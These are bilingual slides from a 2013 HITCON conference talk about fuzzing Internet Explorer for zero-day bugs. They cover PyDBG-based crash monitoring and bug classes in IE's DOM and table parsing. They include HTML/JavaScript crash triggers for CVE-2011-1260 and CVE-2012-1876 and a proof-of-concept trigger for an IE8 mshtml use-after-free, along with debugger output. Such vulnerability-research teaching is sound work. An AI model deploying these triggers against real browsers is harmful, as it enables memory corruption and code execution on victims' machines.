0-Day 輕鬆談 (0-Day Easy Talk)
Happy Fuzzing Internet Explorer

2013/07/19 @ HITCON
<Orange@chroot.org>
0-Day 甘苦談 (0-Day WTF Talk)
Happy Fuzzing Internet Explorer

2013/07/19 @ HITCON
<Orange@chroot.org>
This is an Easy Talk

這是一場簡單的演講
分享一些我的 Fuzzing 心得

Share Some Fuzzing Review of Mine
And Disclosed a 0-Day in Passing
大家好
Hello, Everyone
我是 Orange

This is Orange Speaking
I am a College Student, Now
CHROOT.org 成員

Member of CHROOT.org
Part-Time Work at DevCo.re
揭露過一些弱點

Disclosed Some Vulnerabilities

cve 2013-0305

cve 2012-4775 (MS12-071)
About Me

• 蔡政達 aka Orange
• 2009 台灣駭客年會競賽冠軍
• 2011, 2012 全國資安競賽金盾獎冠軍
• 2011 東京 AVTOKYO 講師
• 2012 香港 VXRLConf 講師
• 台灣 PHPConf, WebConf, PyConf 講師

• 專精於
  – 駭客攻擊手法
  – Web Security
  – Windows Vulnerability Exploitation
If You are Interesting at Me. You Can Visit blog.orange.tw
I Focus on / Interested in
Web Security & Network Penetration
但今天來聊聊 0-Day 以及 Fuzzing (不是我專門的領域 QQ)

But Today Let's Talk About 0-Day and Fuzzing
(I am Not Expert in This, But Just Share)
Conference-Driven 0-Day

n. 名詞
释義: 為了研討會生 0-Day
在找 0-Day 中的一些筆記

Some Notes in Finding 0-Day
This Time We Talk About IE
<table>
<thead>
<tr>
<th>Software</th>
<th>Price Range</th>
</tr>
</thead>
<tbody>
<tr>
<td>ADOBE READER</td>
<td>$5,000-$30,000</td>
</tr>
<tr>
<td>MAC OSX</td>
<td>$20,000-$50,000</td>
</tr>
<tr>
<td>ANDROID</td>
<td>$30,000-$60,000</td>
</tr>
<tr>
<td>FLASH OR JAVA BROWSER PLUG-INS</td>
<td>$40,000-$100,000</td>
</tr>
<tr>
<td>MICROSOFT WORD</td>
<td>$50,000-$100,000</td>
</tr>
<tr>
<td>WINDOWS</td>
<td>$60,000-$120,000</td>
</tr>
<tr>
<td>FIREFOX OR SAFARI</td>
<td>$60,000-$150,000</td>
</tr>
<tr>
<td>CHROME OR INTERNET EXPLORER</td>
<td>$80,000-$200,000</td>
</tr>
<tr>
<td>IOS</td>
<td>$100,000-$250,000</td>
</tr>
</tbody>
</table>

Hacker's Good Friend
方法

• White Box
  – Code Review (IE5.5 Source Code)
  – 二話不說丟進 IDA

• Black Box
  – Fuzzing
Fuzzing

• Garbage in Garbage out
• 理論上可以找到所有漏洞
  – 前提是你有無限的時間...
「時間越多，0-Day 越多」
- 貝拉克·歐巴馬
http://youtube.com/watch?v=m7Xg-YnMisE
Debugger

- Windows Debug API
  - DebugActiveProcess
  - WaitForDebugEvent
  - ContinueDebugEvent
  - 好麻煩...

- 快速、客制化的 Debugger
PyDBG

A Pure Python Windows Debugger Interface
Debug a Process

>>> import pydbg

>>> dbg = pydbg()

>>> dbg.load( file )  # or dbg.attach( pid )

>>> dbg.run()
Set Breakpoint

```python
>>> dbg.bp_set( address, callback )
>>> dbg.set_callback( exception_code, callback )
```
Memory Manipulation

```python
>>> dbg.read( address, length )
>>> dbg.write( address, length )
```
Crash Dump Report

```python
>>> bin = utilis.crash_binning.crash_binning()
>>> bin.record_crash(dbg)
>>> bin.crash_synopsis()
```
• 滿山滿谷的 崩潰
• 不是所有的 Crash 能成為 Exploit
• 九成以上是 Null Pointer 只能當 DoS 用
  — mov eax, [ebx+0x70]
  — ; ebx = 0

• EIP
• Disassemble
  — jmp reg
  — call reg
  — call [reg + CONST]
• Stack
• SHE Chain
EIP = ffffffff !!?
0x50000 = 327680 = (65535 / 2)*10
The Value 65535 We Can Control
File Generator

The Most Important Part of Fuzzing
File Generator

・內容越機歪越好，當然還是要符合 Spec
  - 熟讀 Spec 熟悉 File Structure
  - 想像力是你的超能力
Fuzzing 方向

1) 找新型態弱點 (麻煩但可通用)
2) 找已知型態弱點 (快速但有針對性)
新型態弱點

- 試試比較新、或比較少人用的
  - HTML5 Canvas
  - SVG
  - VML
    - cve-2013-2551 / VML Integer Overflow / Pwn2Own / VUPEN
  - WebGL
    - IE11 Begin to Support
已知型態弱點

• 研究以往的弱點我們可以知道

• Internet Explorer is Not Good at
  – Parsing DOM Tree
  – Parsing <TABLE> with <TR> & <TD>
  – Parsing <TABLE> with <COL>

• CTreeNode & CTableLayout
Pseudo Scenario of Use-After-Free

1. `<foo>`
2. `<bla id=x>`
3. `<bar id=y>`
4. ...
5. `</bar>`
6. `</bla>`
7. `</foo>`

1. `<script>`
2. `var x =`  
   `document.getElementById( 'x' );`
3. `var y =`  
   `document.getElementById( 'y' );`
4. `x.innerHTML = 'AAAA...';`
5. `y.length = 100px;`
6. `</script>`
Ex: CVE-2011-1260 (Not Full Version)

1. `<body>`
2. `<script>`
3. `document.body.innerHTML += "<object ...>TAG_1</object>";`
4. `document.body.innerHTML += "<a id='tag_3' style='...'>TAG_3</a>";`
5. `document.body.innerHTML += "AAAAAAA";`
6. `document.body.innerHTML += "<strong style='...'>TAG_11</strong>";`
7. `</script>`
8. `</body>`
Ex: CVE-2012-1876 (Heap Overflow)

1. `<script> setTimeout("trigger()");,1); </script>`

2. `<TABLE style="table-layout: fixed; ">
3. `<col id="132" width="41" span="1" > </col>`
4. `</col>`
5. `</TABLE>`

```
1. function trigger() {
2. var obj_col = document.getElementById("132");
3. obj_col.width = "42765";
4. obj_col.span = 1000;
5. }
```
Fuzzing with DOM Tree

- Using DOM Methods to Manipulate Objects
  - CreateElement
  - removeChild appendChild
  - InnerHTML outerText
  - createRange
  - addEventListener
  - select
  - ...

https://www.facebook.com/zztao
Putting All Together

1) Randomize HTML Node for Initial
2) Manipulated Nodes with DOM Method
   (Can Also Play with CSS at the Same Time)
這種東西很講運氣的。
「運氣不好，是人品問題」
- 貝拉克．歐巴馬
Generally, Single Machine Run Can Find 1 or 2 IE 0-Day in a Month

I Have Successfully Found 0-Days from IE6 to IE9, For IE10+ I Haven't Tried Because I am Too Lazy : ( 
So I Found a 0-Day For HITCON

1) Work on Internet Explore 8
2) Mshtml.dll 8.0.6001.23501
IE8 zero-day flaw targets U.S. nuke researchers; all versions of Windows affected

Summary: Security researchers have discovered a previously unreported zero-day attack that targets U.S. government nuclear weapons scientists and researchers. Microsoft has warned Internet Explorer 8 users to upgrade to a later version of the browser, as the potentially affects at most one-quarter of all IE users.


Follow @zackwhittaker

Attackers have exploited a previously unknown vulnerability in Internet Explorer 8, which targets U.S. government workers involved in nuclear weapons research.

According to multiple security research firms, the vulnerability has been used to launch specifically-targeted "watering hole" attacks aimed at U.S. government workers who access classified information through a web-based email system. 

http://www.zdnet.com/ie8-zero-day-flaw-targets-u-s-nuke-researchers-all-versions-of-windows-affected-7000014908/
WinXP 還能再戰十年
Proof-of-Concept
Microsoft is Our Sponsor

I Can't Say More Detail Until Patched : (
<table>
<thead>
<tr>
<th>Line</th>
<th>Offset</th>
<th>Address</th>
<th>Module</th>
<th>Function</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>0</td>
<td>0x008</td>
<td>k</td>
<td>Call Stack</td>
</tr>
<tr>
<td>2</td>
<td>1</td>
<td>0x008</td>
<td>ChildEBP RetAddr</td>
<td></td>
</tr>
<tr>
<td>3</td>
<td>2</td>
<td>0x008</td>
<td>WARNING: Frame IP not in any known module. Following frames may be wrong.</td>
<td></td>
</tr>
<tr>
<td>4</td>
<td>3</td>
<td>0x172b0fc</td>
<td>3dc065c7</td>
<td>0x85d8b53</td>
</tr>
<tr>
<td>5</td>
<td>4</td>
<td>0x172b100</td>
<td>3dab48c9</td>
<td>mshl!CElement::Doc+0x7</td>
</tr>
<tr>
<td>6</td>
<td>5</td>
<td>0x172b11c</td>
<td>3daba4b32</td>
<td>mshl!CTreeNode::ComputeFormats+0xb9</td>
</tr>
<tr>
<td>7</td>
<td>6</td>
<td>0x172b3c8</td>
<td>3dbb372e</td>
<td>mshl!CTreeNode::ComputeFormatsHelper+0x44</td>
</tr>
<tr>
<td>8</td>
<td>7</td>
<td>0x172b3d8</td>
<td>3dbb36ee</td>
<td>mshl!CTreeNode::GetFancyFormatIndexHelper+0x11</td>
</tr>
<tr>
<td>9</td>
<td>8</td>
<td>0x172b3e8</td>
<td>3dbb36d5</td>
<td>mshl!CTreeNode::GetFancyFormatHelper+0xf</td>
</tr>
<tr>
<td>10</td>
<td>9</td>
<td>0x172b3f8</td>
<td>3dcc50c7</td>
<td>mshl!CTreeNode::GetFancyFormat+0x35</td>
</tr>
<tr>
<td>11</td>
<td>10</td>
<td>0x172b404</td>
<td>3dca0b48</td>
<td>mshl!IISpanQualifier::GetFancyFormat+0x5a</td>
</tr>
<tr>
<td>12</td>
<td>11</td>
<td>0x172b410</td>
<td>3dca0b05</td>
<td>mshl!SRunPointer::IsRelativeSpanEdge+0x3a</td>
</tr>
<tr>
<td>13</td>
<td>12</td>
<td>0x172b418</td>
<td>3dca1c92</td>
<td>mshl!SRunPointer::IsRelativeSpan+0x14</td>
</tr>
<tr>
<td>14</td>
<td>13</td>
<td>0x172b438</td>
<td>3dca263c</td>
<td>mshl!CDisplayBoxProperties::GetHasInlineOutlines+0x7d</td>
</tr>
<tr>
<td>15</td>
<td>14</td>
<td>0x172b468</td>
<td>3dca2b76</td>
<td>mshl!CDisplayBoxProperties::SetDisplayBoxProperties+0x24d</td>
</tr>
<tr>
<td>16</td>
<td>15</td>
<td>0x172b7ec</td>
<td>3dca2ad9</td>
<td>mshl!CPTSTextParaClient::SetupTextDisplayBox+0x90</td>
</tr>
<tr>
<td>17</td>
<td>16</td>
<td>0x172b87c</td>
<td>3dca2a0e</td>
<td>mshl!CPTSTextParaClient::SetupDisplayBoxForSpan+0x66</td>
</tr>
<tr>
<td>18</td>
<td>17</td>
<td>0x172b960</td>
<td>3dca2be5</td>
<td>mshl!CPTSTextParaClient::SetupDisplayBox+0x203</td>
</tr>
<tr>
<td>19</td>
<td>18</td>
<td>0x172ba18</td>
<td>3dca2a8b</td>
<td>mshl!CPTSBlockParaClient::SetupDisplayBoxForTrack+0x2b7</td>
</tr>
<tr>
<td>20</td>
<td>19</td>
<td>0x172bd98</td>
<td>3dca6e7b4</td>
<td>mshl!CPTSBlockParaClient::SetupDisplayBox+0x349</td>
</tr>
<tr>
<td>21</td>
<td>20</td>
<td>0x172be3c</td>
<td>3dca6e589</td>
<td>mshl!CPTSTableContainerParaClient::SetupDisplayBoxForTrack+0x130</td>
</tr>
<tr>
<td>22</td>
<td>21</td>
<td>0x172c358</td>
<td>3dca8857</td>
<td>mshl!CPTSTableContainerParaClient::SetupDisplayBox+0x2ad</td>
</tr>
<tr>
<td>23</td>
<td>22</td>
<td>0x172c7d8</td>
<td>3dca8857</td>
<td>mshl!CPTSBlockContainerParaClient::SetupDisplayBox+0x4a6</td>
</tr>
</tbody>
</table>
call edx

(e10.950): Access violation - code c0000005 (!!! second chance !!!)
eax=3dbf00a4 ebx=0019bb30 ecx=037f12c8 edx=085d8b53
esi=0172b130 edi=00000000
eip=085d8b53 esp=0172b100 ebp=0172b11c iopl=0 nv up ei pl
zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
efl=00000246
085d8b53 ??

??

??
Writing Exploit

• Windows Protection
  – DEP
  – Luckily If Windows XP We Don't Care About ASLR
  – Luckily It is Not IE10+ that It Hasn't vTable Guard
So, Writing Exploit is Easy

Heap Spray + ROP Enough
Demo
本來故事到這有個美滿的結局

Originally, This Story Have a Happy Ending
人生最精彩的就是這個 But
0-Day 在 HITCON 前一週被修掉了

Silent Fixed Before a Week of HITCON
What the
Proof-of-Concept

1. `<!DOCTYPE html>`
2. `<table>`
3. `<tr><legend><span>`
4. `<q id='e'>`
5. `<a align="center"> <th> O </th> </a>`
6. `</q>`
7. `</span></legend></tr>`
8. `</table>`
9. `</html>`

```javascript
1. window.onload = function(){
2. var x =
3. document.getElementById('e');
4. x.innerText = '';
5. }
```
Work on

• mshtml.dll ...... # ......
• mshtml.dll ...... # 2013 / 05 / 14
• mshtml.dll 8.0.6001.23501 # 2013 / 06 / 11
• mshtml.dll 8.0.6001.23507 # 2013 / 07 / 09
Reference

• VUEPN Blog
  – http://www.vupen.com/blog/

• Paimei
  – https://github.com/OpenRCE/paimei

• Special Thank tt & nanika
Thanks

<Orange@chroot.org>